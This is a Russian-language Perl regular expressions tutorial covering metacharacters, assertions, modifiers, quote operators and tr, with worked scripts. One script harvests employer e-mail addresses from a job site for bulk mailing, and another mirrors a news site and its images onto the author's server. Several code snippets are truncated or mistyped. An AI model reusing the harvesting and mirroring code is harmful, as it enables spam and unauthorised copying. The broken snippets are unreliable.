А что делать, если требуется проверить совпадение именно с точкой? Символы вроде точки (конкретно, \|()[{^$*+?.), играющие в регулярном выражении осббую роль) называются, как уже было сказано выше, метасимволами, и если вы хотите, чтобы они внутри шаблона интерпретировались как обычные символы, метасимволу должна предшествовать обратная косая черта. Точно так же обратная косая черта предшествует символу, используемому в качестве ограничителя для команды m/.../, s/.../.../ или tr/.../.../, если он встречается внутри шаблона и не должен рассматриваться как ограничитель. Рассмотрим пример:

$line = ".Hello!"; if ($1ine =- m/\./) { print "Shouldn't start a sentence with a perlod!\n"; } Shouldn't start a sentence with a perlod!

Если нужно найти самый короткий текстовый фрагмент /QQ(.*?)FF/ в "QQ ff QQ ff FF", однако оно найдет "ff QQ ff". Шаблон всегда находит левую строку минимальной длины, которая соответствует всему шаблону, т.е. это вся строка в этом примере. Для правильного шаблона нужно воспользоваться логическими операторами в регулярных выражениях: /QQ((?:(?!QQ).)*)FF/, т.е. сначала QQ, потом не QQ, потом FF.

Конструкции (?<=шaблoн) и (?
Эти условия полезны, если нужно проверить, что перед определенным фрагментом текста или после него находится нужная строка, однако ее не требуется включать в результат поиска. Это бывает необходимо, если в коде используются спе-циальные переменные $& (фрагмент, для которого найдено соответствие между текстом и регулярным выражением), $` (текст, предшествующий найденному фрагменту) и $' (текст, следующий за найденным фрагментом). Более гибким представляется применение нумерованных переменных $1, $2, $3, ... в которые заносятся отдельные части найденного фрагмента.

В следующем примере ищется слово, за которым следует пробел, но сам пробел не включается в результат поиска: $text = "Маrу Tom Frank "; while ($text =~ /\w+(?=\s)/g) {print $& . "\n";} Маrу Tom Frank

Того же результата можно добиться, если заключить в круглые скобки интересу-ющую нас часть шаблона и затем использовать ее как переменную $1: $text = "Mary Tom Frank "; while ($text =~ /(\w+)\s/g) { print $1 . "\n"; } Маrу Tom Frank

Следует четко понимать, что вы имеете в виду, когда используете то или иное условие. Рассмотрим следующий пример:

$text="Mary+Tom"; if($text=~m|(?!Mary\+)Tom|){ print "Tom is without Mary!\n"; } else{ print "Tom is busy...\n"; }

Вопреки нашим ожиданиям, perl напечатает: Tom is without Mary!

Это произойдет по следующей причине. Пробуя различные начальные точки входной строки, от которой начинается сопоставление шаблона и текста, pеr1 рано или поздно доберется до позиции, расположенной прямо перед именем "Tom". Условие (?!Маry\+) требует, чтобы после текущей точки не находился текст *Маry+", и это условие для рассматриваемой точки будет выполнено. Далее, perl последовательно проверяет, что после текущей точки следуют буквы "Т", "o" и "m", и это требование также в силе (после проверки условия (?!Маry\+) текущая точка остается на месте). Тем самым найдено соответствие между подстрокой "Тоm" и шаблоном, поэтому команда поиска возвращает значение истина.

Регулярное выражение (?!Mary\+)....Tom, резервирующее четыре символа под текст "Маry+", для приведенного выше случая выведет то, что требовалось, но выдаст ошибочный ответ, если перед именем "Тоm" нет четырех символов:

$text="O, Tom! "; if($text =~ m|(?!Mary\+)....Tom|){ print "Tom is without Mary!\n"; } else{ print "Tom is busy...\n"; }

Tom is busy...

Наконец, если более точно сформулировать, чего требуется, получится нужный результат:

$text="Mary+Tom"; if($text=~m|(?
Tom is busy...

Вспомнить и написать про строчку вида

push @mass, $li unless($li=~m/(([2 .. 12]).*?1995)|(([6 .. 12]).*?2001)|/); perldoc perlop [0-9.]

Модификаторы команд m/.../ и s/.../.../

В perl имеется несколько модификаторов, используемых с командами m/.../ и s/.../.../:

i - игнорирует различие между заглавными и строчными буквами.

s - метасимволу "точка" разрешено соответствовать символам \n.

m - разрешает метасимволам ^ и $ привязываться к промежуточным символам \n, имеющимся в тексте. Не влияет на работу метасимволов \А, \Z и \z.

х - игнорирует "пробельные символы" в шаблоне (имеются в виду "истинные" пробелы, а не метасимволы \s и пробелы, созданные через escape-последовательности). Разрешает использовать внутри шаблона комментарии.

g - выполняет глобальный поиск и глобальную замену.

с - после того как в скалярном контексте при поиске с модификатором g не удалось найти очередное совпадение, не позволяет сбрасывать текущую позицию поиска. Работает только для команды m/.../ и только вместе с модификатором g.

о - запрещает повторную компиляцию шаблона при каждом обращении к данному оператору поиска или замены, пользователь, однако, должен гарантировать, что шаблон не меняется между вызовами данного фрагмента кода.

е - показывает, что правый аргумент команды s/.../.../ - это фрагменты выполняемого кода. В качестве текста для подстановки будет использовано возвращаемое значение - возможно, после процесса интерполяции.

ee - показывает, что правый аргумент команды s/.../.../ - это строковое выражение, которое надо вычислить и выполнить как фрагмент кода (через функцию eval). В качестве текста для подстановки используется возвращаемое значение - возможно, после процесса интерполяции

d - удаляет непарные символы, не выравнивая аргументы по длине.

с - в качестве первого аргумента использует полный список из 256 символов за вычетом указанных в списке символов.

s - удаляет образовавшиеся в результате замены повторяющиеся символы.

*? - ноль или несколько совпадений,

+? - одно или несколько совпадений,

?? - ноль совпадений или одно совпадение,

{n}? - ровно n совпадений,

{n,}? - по крайней мере n совпадений,

{n,m}? - совпадений по крайней мере n, но не более, чем m.

Оратите внимание, что смыслквантификатора от этого не меняется; меняется только поведение алгоритма поиска. Если в процессе сопоставления шаблона и текста прототип определяется однозначно, то алгоритм поиска с возвратами увеличит "жадность" такого квантификатора точно так же, как он ограничивает аппетит собрата. Однако если выбор неоднозначен, то результат поиска будет другим: $text = "That is some text, isn't it?"; $text =~ s/.*?is/That's/; print $texts; That's some text, isn't it?

Как удалить ведущие и завершающие пробелы

Чтобы отсечь от строки начальные "пробельные символы", можно использовать, следующую команду:

$text = " Now is the time."; $text =~ s/^\s+//; print $texts; Now is the time.

Чтобы отсечь "хвостовые" пробелы, годится команда:

$text = "Now is the time. "; $text =~ s/\s+$//; print $texts; Now is the time.

Чтобы отсечь и начальные, и хвостовые пробелы лучше вызвать последователно эти две команды, чем использовать шаблон, делающий отсечение ненужных пробелов за один раз. Поскольку процедура сопоставления шаблона и текста достаточно сложна, на эту простую операцию может уйти гораздо больше времеви, чем хотелось бы.

Например в тексте нужно найти текст, находящийся между открывающим и закрывающим тегом:

$text="blah-blah"; if($text=~m!<([a|b])>(.*?)/\1!ig){ print "$2\n"; }

найдет все слова, стоящие между тегами и .

В регулярных выражениях пристутствует своя семантика: быстрота, торопливость и возврат. Если квантификатор * совпадает во многих случаях, то в результате быдет выведен наибольший по длинне результат. Это жадность. Быстрота: поиск старается найти как можно быстрее. "Text"=~/m*/, по смыслу символов m нет, но в результате будет возвращено значение 0. Т.е. формально 0 и более символов.

$test="aaooee ooaao"; $test=~s/o*/e/; print $test; eaaooee ooaao

потому что 1 элемент сторки - 0 и более символов.

Если добавить квантификатор g, то результат будет таким:

eaeaeeeeee eeaeaee

т.к строка содержит 13 мест, где может встречатся o, в том числе и пустых.

Модификаторы:

/i игнорировать регистр

/x игнорировать пропуски в шаблоне и разрешить комментарии.

/g модификатор разрешающий выполнение поиска/замены везде, где это возможно

/gc не сбрасывается позиция при неудачном поиске.

/s разрешается совпрадение . с \n, игнорируется $*.

/m разрешить совпадение ^ и $ для начала и конца строки во внутренних переводах строк

/o однократная компиляция

/e правая часть s/// представляет собой выполняемый код

/ee правая часть s/// выполняется, после чего возвращаемое значение интерпретируется снова.

при вызове use locаle учитываются локальные настройки. Модификатор /g может заполнить массив значений @nums = m/(\d+)/g; но это сработает для ненакладывающихся совпадений. Чтобы поймать совпадения нужно воспользоваться оператором ?=... Если ширина = 0, то механизм поиска остался на прежнем месте. Найденые данные остаются внутри скобок. Если есть модификатор /g, то текущая позиция остается прежней, но происходит перемещение на один символ вперед.

$numbers="123456789"; @one=$numbers=~/(\d\d\d)/g; @two=$numbers=~/(?=(\d\d\d))/g; print "@one \n"; print "@two \n";

Модификаторы m и s нужны для поиска последовательностей символов, содержащих перевод строки. При s точка совпадает с \n и игнорируется $*. m делает совпадающими ^ и $ до и после \n. e правая часть выполняется как программный код: perl -i -n -p -e 's/(.)/lc($1)/g' *.html приводит все литеры во всех файлах *.html текущей директории к нижнему регистру.

Встроенные переменные в regex.

$1, $2, $3, $4, ..., $n ... содержат ссылки на найденный текст, только в том случае если regex был в круглых скобках:

s%<(.*?)"><(.*?)">%$1 $2 $3%g;

внутри regex можно использовать переменные типа \1, \2, \3, \4, ... \n, ...

s/a href=(["'])(.*?)\1>/$2/g

найдет все урл, заключенные в двойные, одинарные и вообще без кавычек, находящиеся в документе.

для /(a.*b)|(mumu)/ в переменной $+ содержится $1 или $2.

$& содержит полный текст совпадения при последнем поиске.

$' и $` содержатся строки до и после совпадения

Если нужно скопировать и сделать подстановку, то нужно действовать примерно так:

($at = $bt) =~ s!m(.*?)o!! #для строк for(@mass1 = @mass2){s/umka/maugli/} #для массивов

$u = ($m=~s/a/b/g); #поменять $m и занести в $u число замен.

Если нужно выцепить только алфавитные символы, с учетом настроек locale, то регексп примерно такой: /^[^\W\d_]+$/ в нем учитываются все не алфавитные символы, не цифры и не подчеркивания(для случая "ванька-встанька"), симвлол отрицания в группе [] - ^, т.е. найти все, что не [\W\d_], можно было написать и скажем так !~m/^(\W|\d|_)*/.

Для упрощения понимания сложных регулярных выражений можно воспользоваться их комментированием. Иногда правда можно только по виду регулярного выражения определить зачем оно предназначено:

$mmm{$1} = $2 while ($nnn =~ /^([^:]+):\s+(.*)$/m);

читаем регулярное выражение:

нужно найти в файле все что до двоеточия не двоеточие и все что после двоеточия(включая возможные повторения после первого : .*?: .*?: .*?:, потому что была найдена первая позиция: выделить все что не есть двоеточие до первого двоеточия)

Что это может быть, вполне вероятно, что оно нужно для составления статистики писем, выцепление заголовка письма и его названия из mbox в хеш. По крайней мере это регулярное выражение подходит для данной задачи.

Map

Функция map похожа по своей работе на обычное условие if, допустим нужно разделить записи на блоки, разделенные четырьмя пробелами:
@probel = map m!\s{4}!, split /\n/, $test;

Мнимые символы

Мнимые символы в регулярных выражениях
В perl имеются символы (метасимволы), которые соответствуют не какой-либо литере или литерам, а означают выполнение определенного условия (поэтому в английском языке их называют assertions, или утверждениями). Их можно рассматривать как мнимые символы нулевого размера, расположенные на границе между реальными символами в точке, соответствующей определенному условию:

^ - начало строки текста,

$ - конец строки или позиция перед символом начала новой строки, распо-ложенного в конце,

\b - граница слова,

\В - отсутствие границы слова,

\А - "истинное" начало строки,

\Z - "истинный" конец строки или позиция перед символом начала новой строки, расположенного в "истинном" конце строки,

\z - истинный конец строки,

\G - граница, на которой остановился предыдущий глобальный поиск, выполняемый командой m/.../g,

(?= шаблон) - после этой точки есть фрагмент текста, который соответствует указанному регулярному выражению,

(?! шаблон) - после этой точки нет текста, который бы соответствовал указанному регулярному выражению,

(?<= шаблон) - перед этой точкой есть фрагмент текста, соответствующий указанному регулярному выражению,

(?
Например, вот как выполнить поиск и замену слова, используя метасимволы границы слов: $text = "Here is some text."; $text = s~/\b([A-Za-z)+)\b/There/; print $text; There is some text.
perl считает границей слова точку, расположенную между \w и \W, независимо от того, в каком порядке следуют эти символы . В следующем примере выводится сообщение о том, что пользователь ввел слово "yes", при условии, что оно единственное, что ввел пользователь. Для этого шаблон включает мнимые символы начала и конца строки: while (<>) { if (m/^yes$/) { print "Thank you for being agreeable.\n"; } }
Приведенный выше пример требует комментария. Прежде всего, бросается в глаза наличие двух групп метасимволов для начала и конца строки. В большинстве случаев они означают одно и то же, так как обычно символы новой строки (то есть \n), встречающиеся внутри текстового выражения, не рассматриваются как вложенные строки. Однако если для команды m/.../ или s/.../.../ указан модификатор m, то текстовое выражение будет рассматриваться как многострочный текст, в котором границами строк выступают символы новой строки \n. В случае многострочного текста метасимвол ^ сопоставляется с позицией после любого символа новой строки, а не только с началом текстового выражения. Точно также метасимвол $ - это позиция перед любым символом новой строки, расположенным внутри текстового выражения, а не обяательно конец текстового выражения или же позиция перед концевым символом \n. Однако метасимвол \A - начало текстового выражения, а метасимвол \Z - конец текстового выра-жения или позиция перед концевым символом \n, даже если в текстовом выражении имеются вложенные символы \n и при выполнении операции поиска или йены указан модификатор m. Метасимвол точка (.) соответствует любому символу, кроме символа новой строки \n. Независимо от того, задан ли модификатор m, она не будет сопоставляться ни c внутренними, ни с концевыми символами \n. Единственный способ заставить точку рассматривать \n как обычный символ - использовать модификатор s.

Отсюда понятна разница между метасимволами \Z и \z. Если в качестве текстового выражения используется результат чтения входного потока данных, то с большой вероятностью данное выражение заканчивается символом \n, за исключениeм того варианта, когда программа предусмотрительно "отщипнула" его с помощью функции chop или chomp. Метасимвол \Z игнорирует концевой символ \n если он случайно остался на месте, рассматривая обе ситуации как "конец строки". В отличие от него метасимвол \z оказывается более пунктуальным и рассматривает концевой символ \n как неотъемлемую часть проверяемого текстового выражения, если только пользователь не позаботился об удалении этого символа.

Отдельно следует остановиться на метасимволе \G. Он может указыватьсяв регулярном выражении только в том случае, если выполняется глобальный поиск (то есть если команда m/.../ имеет модификатор g). Метасимвол \G, указанный в шаблоне, соответствует точке, на котброй остановилась предыдущая операция поиска.

Облегчение поиска работы

Допустим Вы оказались без работы, развалилась ваша фирма или еще какая-нибудь причина. Вам требуется найти новую. Для упрощения этой задачи естьь следующий скрипт, который выцепливает по нужной позиции(веб программирование, зарплата от 200$ и т.д.) с www.job.ru все заявки за последние 10-15 дней, точнее емейлы, куда нужно слать резюме, что значительно убыстряет поиск работы(имея базы адресов легче разослать одно и то-же резюме, используя нехитрый список рассылки):
#!/usr/bin/perl -wT $url0="http://www.job.ru/cgi/list1.cgi?GR_NUM="; $url1="%31&TOPICID=9&EDUC=2&TP=&Gr=&SEX=&AGEMIN=23&AGEMAX=&MONEY=200&CDT="; $url2="&LDAY=99&ADDR=%ED%CF%D3%CB%D7%C1&KWORD=&KW_TP=AND"; use LWP::Simple; foreach($i=1; $i
Что делает эта программа, она составляет GET запрос из параметров, которые скрыты в hidden полях навигации по результатам запроса на www.job.ru. Программа при помощи Simple.pm отправляет запрос на сервер и как бы листает странички с поиском. Критерий ваших профессиональных навыков составлен в GET-запросе и осталось только разослать почту(для этого можно написать список рассылки) по адресам, которые выдала программа. Разберем регулярное выражение для вытаскивания почтового адреса из текущей странички s/(.*) ([\w+\-\.]+\@[\w\-\.]+\.\w{2,3})(.*)/$2/ig.
[\w+\-\.]\@ - найти все что содержит буквы, тире и точки до символа @, ведь почтовый адрес по спецификации может быть вида aa.ss-ss@chto-to.ru. Тоже самое после символа @ - [\w\-\.]+
далее может быть точка \. и любая буква от 2 до 3 символов \w{2,3}, т.е. окончание, самый верхний домен .com, .ru, .cz и т.д. Далее регулярное выражение состоит из трех классов скобок (.*) - переменная $1, ([\w+\-\.]+\@[\w\-\.]+\.\w{2,3}) переменная $2 и все остальное в (.*) - $3. Пробел перед $2 стоит потому, что так устроен html, отдаваемый пользователю поиском по базе предложений о работе www.job.ru. Нам нужно содержимое $2, в котором находится e-mail работодателя. Пишем его во вторую часть s/наш regex/$2/ig. Квантификатор i нужен для того, чтобы не различать регисты Vasya@pupkin.ru и vasya@pupkin.ru, квантиикатор g задействова на тот случай, если работодатель указывает 2 адреса, по которым нужно высылать резюме. На 23 августа 2001 года на 20 часов 10 минут прогамма выдала 410 e-mail адресов(пролистав за 3-4 минуты 57 страниц), где вас ждут, как потенциального сотрудника.

Остается написать скрипт почтовой рассылки по e-mails, выданным данным скриптом. Но это в другой главе.

Примером выше был получен спсиок email адресов. Теперь необходимо проверить, действительно ли существуют домены, на которых заведены такие пользщователи(примитивная - но проверка).

#!/usr/bin/perl use Socket; #загрузить inet_addr s{ # ( #Сохранить имя хоста в $1 (?: #Группирующие скобки (?! [-_] ) #ни подчеркивание, ни дефис [\w-] + #кусок имени хоста \. #и точка домена )+ #повторить несколько раз [A-Za-z] #следующий символ - буква [\w-]+ #домен верхнего уровня ) #конец записи $1 }{ #Заменить следующим: "$1" . #исходн часть + пробел (($addr = gethostbyname($1)) #Если имеется адрес ? "[" . inet_ntoa($addr). "]"#отформатировать : "[???]" #иначе пометить как сомнительный ) }gex

Переписываем исходную программу с учетом вышеприведенного кода

#!/usr/bin/perl -wT $url0="http://www.job.ru/cgi/list1.cgi?GR_NUM="; $url1="%31&TOPICID=9&EDUC=2&TP=&Gr=&SEX=&AGEMIN=23&AGEMAX=&MONEY=200&CDT="; $url2="&LDAY=99&ADDR=%ED%CF%D3%CB%D7%C1&KWORD=&KW_TP=AND"; use Socket; use LWP::Simple; foreach($i=1; $i

Между строчками можно комментировать целые куски кода. =pod $file=~s{((?:(?![-_])[\w-]+\.)+[A-Za-z][\w-]+)} {"$1".(($site=gethostbyname($1))?"[".inet_ntoa($site)."]":"[???]")}gex; print $file,"\n" if($file !~/\?\?\?/); =cut

Эта программа успешно удалила некторые из адресов, которые Socket.pm показались подозрительными. Все-таки какую-никакую, а проверку существования e-mail адресс окольными путями при помощи perl провести можно. Автору сего текста все-таки больше нравится вариант, заключенный в комментарии =pod(.*?)=cut. Он просто короче. Да и если научится читать сложные регулярные выражения, то можно написать полный регексп е-mail адресов, который занимается тем, что выделяет адреса в точности с соответствующим RFC(занимает это регулярное выражение несколько страгниц). Но впрочем ниже будет подглава, посвященная чтению монстрообразных, на первый взгляд, регекспов налету, со множеством примеров, выше же мы уже попытались угадать предназначение регулярного выражения только по его виду.

Ключи, которые использовались в вышеприведенном регулярном выражении

g - глобальная замена

е - выполнение

x - улучшенное форматирование.

Если написать это регулярное выражение в одну строчку, то оно врядли там поместится:

s{((?:(?![-_])[\w-]+\.)+[A-Za-z][\w-])}#здесь силовой перевод каретки {"$1".(($addr=gethostbyname($1))?"[".inet_ntoa($addr)."]":"[???]")}gex

Разберем один интересный момент в данном регекспе:

s/regex/условие?да:иначе/

Тут проявляется пожалуй одна из действительно сильнейших особенностей regex, возможность в одном регулярном выражении избежать многострочных условий с циклом. В приведенном примере работает все примерно так: Если $addr=gethostbyname($1) - да, то ставить ip-адрес(inet_ntoa($addr)), если нет(не откликнулся сервер, сбой на линии и пр) то метить этот урл как подозрительный [???]. В принципе в программе ничего человеку делать не нужно, т.к. подозрительные отметаются условием print $file,"\n" if($file !~/\?\?\?/); Общее время работы программы 10-15 минут.

Очень простое решение для зеркала новостной ленты

Допустим нужно сделать зеркало какой-либо зарубежной новостной ленты вместе с загрузкой картинок с удаленного сервера, чтобы не ждать по несколько минут отображения содержимого полностью загруженной большой таблицы. Приведенный скрипт запускается при помощи crontab каждые 5 часов:
#!/usr/bin/perl -w $/="\001"; print "content-type: text/html\n\n"; $dir="/var/www/docs/html/news/images"; $imgurl="http://www.qwerty.ru/news/images"; use LWP::Simple; use LWP::UserAgent; $page=get "http://www.astronomynow.com"; $page=~s/face="(.*?)"//igs; &getimg($page); $page=~s!/images/grafix/listdot.gif!../../listdot.gif!igs; $page=~s!/images/grafix/spacer.gif!../../spacer.gif!igs; $page=~s!images/grafix/spacer.gif!../../spacer.gif!igs; if($page=~m!(.*?)

!igsm){ $file=$1; &getlink($page); foreach $names(@res){ $names=~s|.*/ig; $file=~s|src="http://(.*?)$names"|src=$imgurl/$names|igs; } $html=qq~ $file

~; } open F, ">$dir/news.txt"; print F $html or die "\n\n\n ERROR: $!\n\n\n"; close F; sub getimg{ &getlink($_[0]); foreach $img(@res){ my $res = LWP::UserAgent->new->request(new HTTP::Request GET => $img); if ($res->is_success) { $img=~s|.*/; open (ABC, ">$dir/$img") or die "\n\n\nERROR: $!\n\n\n"; binmode(ABC); print ABC $res->content; close ABC or die "\n\n\nERROR: $!\n\n\n"; } else { print $res->status_line; } } return @res; } sub getlink{ local $_=$_[0]; push(@res, "http://$2") while m{SRC\s*=\s*(["'])http://(.*?)\1\s*(.*?)WIDTH="100" HEIGHT="100"(.*?)>}igs; return @res; }

Одиночные символы

В регулярном выражении любой символ соответствует самому себе, если только он не является метасимволом со специальным значением (такими метасимволами являются \, |, (, ), [, {, *, +, ^, $, ? и .). В следующем примере проверяется, не ввел ли пользователь команду "quit" (и если это так, то прекращаем работу программы):
while(<>){ if(m/quit/){exit;} }
Правильнее проверить, что введенное пользователем слово "quit" не имеет со-седних слов, изменяющих смысл предложения. (Например, программа выполнит заведомо неверное действие, если вместо "quit" пользователь введет команду "Don't quit!".) Это можно сделать с помощью метасимволов ^ и $. Заодно, что-бы сравнение было нечувствительно к разнице между прописными и заглавными буквами, используем модификатор i:
while (<>) {if (m/^quit$/i) {exit;} }
Кроме обычных символов perl определяет специальные символы. Они вводятся с помощью обратной косой черты (escape-последовательности) и также могут встречаться в регулярном выражении:

\077 - восьмеричный символ,

\а - символ BEL (звонок),

\с[ - управляющие символы (комбинация Ctrl + символ, в данном случае это управляющий символ ESC),

\d - соответствует цифре,

\D - соответствует любому символу, кроме цифры,

\е - символ escape (ESC),

\Е - конец действия команд \L, \U и \Q,

\f - символ прогона страницы (FF),

\1 - следующая литера становится строчной (lowercase),

\L - все последующие литеры становятся строчными вплоть до командй \Е,

\n - символ новой строки (LF, NL),

\Q - вплоть до команды \Е все последующие метасимволы становятся обычными символами,

\r - символ перевода каретки (CR),

\s - соответствует любому из "пробельных символов" (пробел, вертикальная , или горизонтальная табуляция, символ новой строки и т. д.),

\S - любой символ, кроме "пробельного",

\t - символ горизонтальной табуляции (НТ, TAB),

\u - следующая литера становится заглавной (uppercase),

\U - все последующие литеры становятся заглавными вплоть до команды \E,

\v - символ вертикальной табуляции (VT),

\w - алфавитно-цифровой символ ( любая буква, цифра или символ подчеркивания),

\W - любой символ, кроме букв, цифр и символа подчеркивания,

\x1B - шестнадцатиричный символ.

Bat также можете "защитить" любой метасимвол, то есть заставить perl рассматривать его как обыкновенный символ, а не как команду, поставив перед метасимволом обратную косую черту \. Обратите внимание на символы типа \w, \d и \s, которые соответствуют не одному, а любому символу из некоторой группы. Также заметьте, что один такой символ, указанный в шаблоне, соответствует ровно одному символу проверяемой строки. Поэтому для задания шаблона, соответствующего, например, слову из букв, цифр и символов подчеркивания, надо использовать конструкцию \w+, как это сделано в следующем примере:

$text = "Here is some text." $text =~ s/\w+/There/; print $text; There is some text.

Определения

Регулярные выражения в perl одна из самых мощных его возможностей. Они позволяют сопоставлять текст с указанным шаблоном, разбивать текст в массив по шаблону, производить замену текста по шаблону и многое многое другое. Так-же иногда регекспами называются операторы поиска и замены.
Оператор q(text) заменяет строку text на строку, заключенную в одинарные кавычки(например если в q(text) поставить символ q(text\n), то напечатает text\n , т.е. \n это два символа, подобно print 'amam $file' напечатает amam $file). В данном случае почти все специальные символы не будут интерпретироваться внутри q(), исключая '\'
$some=q(Don't may be);
Оператор qq~text~; (вместо значка ~ можно ставить например знак |) позволяет работать со строками и многострочными текстами. пользуясь этим оператором можно выводить целые куски html-кода и писать в этом коде имена скалярных переменных.
Оператор qw("text") разбивает строку на массив слов.
@mass=qw("я вышел погулять и увидел как через реку строят новый мост"); #хотя с настроенной локалью будет работать и @mass=qw(я вышел погулять и увидел как через реку строят новый мост); for(@mass){print $_,"\n"}
Оператор qr/pattern/ ключи - imosx
работает подобно регулярному выражению s/.../.../
$rex=qr/my.STRING/is; s#$rex#foo#; #тоже самое, что и s/my.STRING/foo/is;
Результат может использоваться подобно вызову подпрограммы(см perldoc perlop Regex quote like operator)
$re=qr/$pattern/; $string=~/foo${re}bar/; $string=~$re; $string=~/$re/;
Ключи imosx стандартные(см. ниже)
Оператор qx/STRING/ работает как системная команда, подобно $output = `cmd 2>$1`;. Программа, иллюстрирующая использование данного оператора:
#!/usr/bin/perl qx[dbfdump --fs="\x18" --rs="\x19" pdffile.dbf >pdffile.txt];
файл pdffile.dbf содержит memo-поля(memo-поле содержит ссылку, подобно функции seek, на текст в файле с расширением *.fpt), которые при помощи DBI.pm мне когда-то давно выудить не удалось. Принимает разрешения FoxBASE4 и дампит файлы со встроенными memo-полями в текстовый вид. Т.е. таким образом получилось вытащить информацию из файла memo-типа *.fpt.

Допустим используя команду $perl_info = qx(ps $$); мы выводим информацию о текущем процессе запущенного скрипта(каждая запущенная программа в UNIX имеет свой собственный уникальный идентификатор, который содержится во встроенной переменной $$ - достаточно уникальное число, можно использовать почти как счетчик случайных чисел). Если сказать $shell_info = qx'ps $$'; то выведет информацию о самом ps. Т.е. скобки осуществляют своеобразное экранирование от двойной кавычки.

В перл есть три основных оператора, работающих со строками:

m/.../ - проверка совпадений (matching),

s/.../.../ - подстановка текста (substitution),

tr/.../ - замена текста (translation).

Опертаор m/.../ анализирует входной текст и ищет в нем подстроку совпадающую с указанным шаблоном (он задан регулярным выражением). Оператор s/.../.../ выполняет подстановку одних текстовых фрагментов вместо других, при помощи регулярных выражений. Оператор tr/.../.../ заменяет выходной текст, но при этом он не использует регулярные выражения, осуществляя замену посимвольно.

Оператор m/шаблон/ - поиск подстроки по определенному шаблону. Например print "$1 г.\n" while m!((\d){4})!g найдет и выведет все даты в переменной $_. В шаблоне не важно, что будет его ограничителем. Например при поиске гиперссылок, которые зачастую содержат символы /, разумнее пользоваться не /, а например # или ! как символами ограничителями. В таком случае шаблон будет более прост для понимания другим программистам, да и немного короче. В perl оператор m/.../ используется очень часто, и поэтому используется сокращение, без начальной буквы m. Если начальная буква есть, то в качетсве символов ограничителей можно исползовать любой другой символ.

Для оператора m/pattern/ есть 6 параметров: gimsxo

m/foo/g говорит компилятору найти все foo в тексте, в то время как m/foo/ найдет только первое вхождение подстроки foo в строке $_. В строке $_ содержится обычный текст, как и в переменной $text$, $_ такая-же переменная, только она существует всегда и вводится, когда не определена специально другая, по умолчанию.

Например можно сказать for (@mass){print $_,"\n"} или for $elem (@mass){print $elem,"\n"}. Эти две строчки делают одно и то-же, но в первом случае запись короче, да и зачастую бывает удобно использовать переменную $_, например, когда нужно выделить при помощи регулярного выражения определенные данные, пользуясь перебором массива(функция map):

@res=map{/(\d\d\d\d)/} split /\s/, $texts;

что эквививалентно коду

push @res, $1 while m!((\d){4})!g; #(в данном случае $_=$texts)

или что эквивалентно конструкции

foreach(split /\s/, $texts){ push @res, $1 if(/(\d\d\d\d)/g) }

Следующий параметр m/foo/i, говорит о том, что не нужно учитывать регистр при поиске по подстроке.

Параметр m/foo/s говорит от том, что строка, по которой производится поиск, состоит из одной строчки.

Например нужно выцепить все url картинок из странички www.astronomynow.com, чтобы сделать локальное зеркало этой странички и пользователи могли с интересом читать последние новости астрономии:

#!/usr/bin/perl -wT use LWP::Simple; $page=get "http://www.astronomynow.com"; &getlink($page); sub getlink{ local $_=$_[0]; push(@res, "http://$2") while m{SRC\s*=\s*(["'])http://(.*?)\1\s*(.*?)WIDTH="100" HEIGHT="100"(.*?)>}igs }

В подпрограмме заводится при помощи функции local переменная, видимая только в области действия подпрограммы. Этой переменной присваивается значение переменной $page, в которой содержится текст выкачанной Simple.pm странички.

Можно сделать немного по другому, сохранить скачанную страничку в файл на диск и затем следующее:

$/="\001"; open F, "; close F; &getlink($page); ...

Встроенная переменная $/ содержит символ разделителя входных записей. Это может быть перевод каретки или, при upload far'ом на сервер файлов в не ASCI виде, она приобретают на конце строчки хитрый символ ^M.

Если $/ переопределить, то можно свободно пользоваться дескрипторами открытия файлов для просмотра многострочного текста(m/pattern/s). Например когда открывается файл при помощи функции open F, ", то присваивая дескриптор F массиву в массиве появятся строчки, разделенные символом, содержащимся в $/.

Переопределив $/ можно запросто написать:

open F, "

и в переменной $ mass будет содержаться многострочный текст с точки зрения человека, но программа будет видеть этот текст как одну строку и по тексту можно будет запросто пройтись поиском m/pattern/igs и выделить все необходимые подстроки.

Параметр m/foo/o говорит от том, что шаблон нужно компилировать только один раз. Если оператор используется в сочетании с операциями привязки =~ и отрицание !~, то строкой, в которой ведется поиск, является переменная, стоящая слева от операции привязки. В противном случае поиск ведется в строке $_.

Оператор s!pattern!substring! - поиск в строке по шаблону pattern и замена найденного текста на substring. Как и для оператора m/.../, косую черту можно не ставить, пригоден любой символ, который не находится в противореции с заданным выражением. Не рекомендуется использовать в качестве ограничителей ? и '.

s!/usr/local/etc/!/some/where/else! - заменяет путь.

s(/usr/local/etc/)(/some/where/else)g - заменяет все встречающимеся пути до файла.

параметры: egimsxo

e - указывает, что substring нужно вычислить.

например нужно переделать все escape последовательности, для этого вызывается соответствующая подпрограмма: $text =~ s/(&.*?;)/&esc2char($1)/egs;

т.е. из регулярного выражения происходит вызов подпрограммы.

g - заменить все одинаковые компоненты, а не один, как в отсутствии ключа g.

i - не учитывать регистр.

m - строка, в которой происходит поиск, состоит из множества строк.

s - строка, в которой происходит поиск, состоит из одной строки.

x - сложный шаблон, т.е. можно писать не в строчку, а для упрощения понимания разбивать шаблон на несколько строк, примеры об этом ниже.

o - компилировать шаблон один раз.

Допустим нужно сделать поисковик, который ходит по директориям на сервере, но некоторые директории типа /cgi-bin/ и т.п. индексировать нельзя. Объявляем переменную, которая будет содержать регулярное выражение, в данном случае перечисление или img или image или temp или tmp или cgi-bin:

$no_dir = '(img|image|temp|tmp|cgi-bin)';

Ключи регулярного выражения m#$no_dir$#io говорят о том, что компилировать содержимое $no_dir нужно только один раз(ключ o) и также еще не учитывать регистр(ключ i).

Оператор tr/выражение1/выражение2/, ключи cds

Смысл: замена выражения1 на выражение2. Если указан ключ с, то это инверсия выражения1, т.е. в выражение один не входят содержащиеся в нем символы. если указа ключ d, то значит стереть замененные символы. Если указан ключ s, то значит заменить многочисленные повторяющиеся символы на одиночный символ.

Оператор y/выражение1/выражение2/(ключи cds), равносилен оператору tr.

Например в поисковой системе нужно приводить запрос в нижний регистр, дабы не зависеть от настроек локали:

$CAP_LETTERS = '\xC0-\xDF\xA8'; $LOW_LETTERS = '\xE0-\xFF\xB8';

$code = '$html_text =~ '; $code .= "tr/A-Z$CAP_LETTERS/a-z$LOW_LETTERS/"; $down_case = eval "sub{$code}";

Other

Вывод строк из заданного интервала для данной строки:
if(/pattern1/i .. /pattern2/i){...} #истинность первого оператора включает конструкцию, а второго е выключает. if($nomer1 .. $nomer2){...}
... не возвратит истину, в отличии от .., если условия выполняются в одной строке.
if(/pattern1/i ... /pattern2/i){...} if($nomer1 ... $nomer2){...}
для многострочного файла
